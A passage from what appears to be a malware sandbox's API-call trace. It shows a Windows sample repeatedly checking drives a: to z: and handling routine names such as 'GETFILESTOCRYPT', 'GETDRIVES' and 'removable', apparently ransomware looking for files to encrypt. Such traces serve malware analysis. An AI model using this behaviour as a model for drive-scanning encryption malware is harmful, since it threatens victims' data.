(lpRootPathName="j:\\") returned 0x1 [0085.907] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.908] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.909] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.909] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.909] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.909] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.909] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.909] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.909] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.909] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.909] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.909] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.909] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.910] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.910] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.910] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.910] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.910] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.910] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.910] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.910] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.910] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.910] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.910] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.910] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.910] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.910] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.910] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.911] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.911] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.911] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.911] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.911] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.911] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.911] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.912] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.913] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.913] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.913] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.913] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.913] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.913] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.913] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.913] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.913] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.913] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.913] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.913] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.913] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.913] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.913] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.914] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.914] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.914] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.914] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.914] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.914] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.914] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.914] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.914] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.914] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.914] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.914] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.914] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.914] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.914] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0085.915] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0085.916] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0085.916] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0085.916] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0085.916] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0085.916] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.916] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.916] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.916] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.916] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.916] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.916] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.916] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.916] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.916] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.916] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.916] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.916] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.917] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.917] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.917] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.917] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.917] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0085.917] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0085.917] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0085.918] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0085.918] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0085.918] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0085.918] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0085.918] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.918] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.918] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.918] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.918] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.918] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.918] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.919] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.919] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.919] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.919] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.919] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.919] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.919] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.919] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.919] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.919] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.919] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.919] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.919] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.919] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.919] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.919] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.919] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.919] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.919] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.919] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.919] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.920] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.920] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.920] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.920] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.920] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.920] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.920] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.920] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.920] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.920] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.920] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.920] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.920] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.920] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.920] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.920] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.921] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.921] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.921] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.921] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.921] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.921] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.921] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.921] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.921] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.921] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.921] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.921] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.921] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.921] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.921] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.921] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.921] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.921] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.922] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.922] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.922] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.922] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.922] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.922] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.922] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.922] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.922] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.922] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.922] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.922] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.922] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.922] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.922] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.922] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.923] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.923] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: 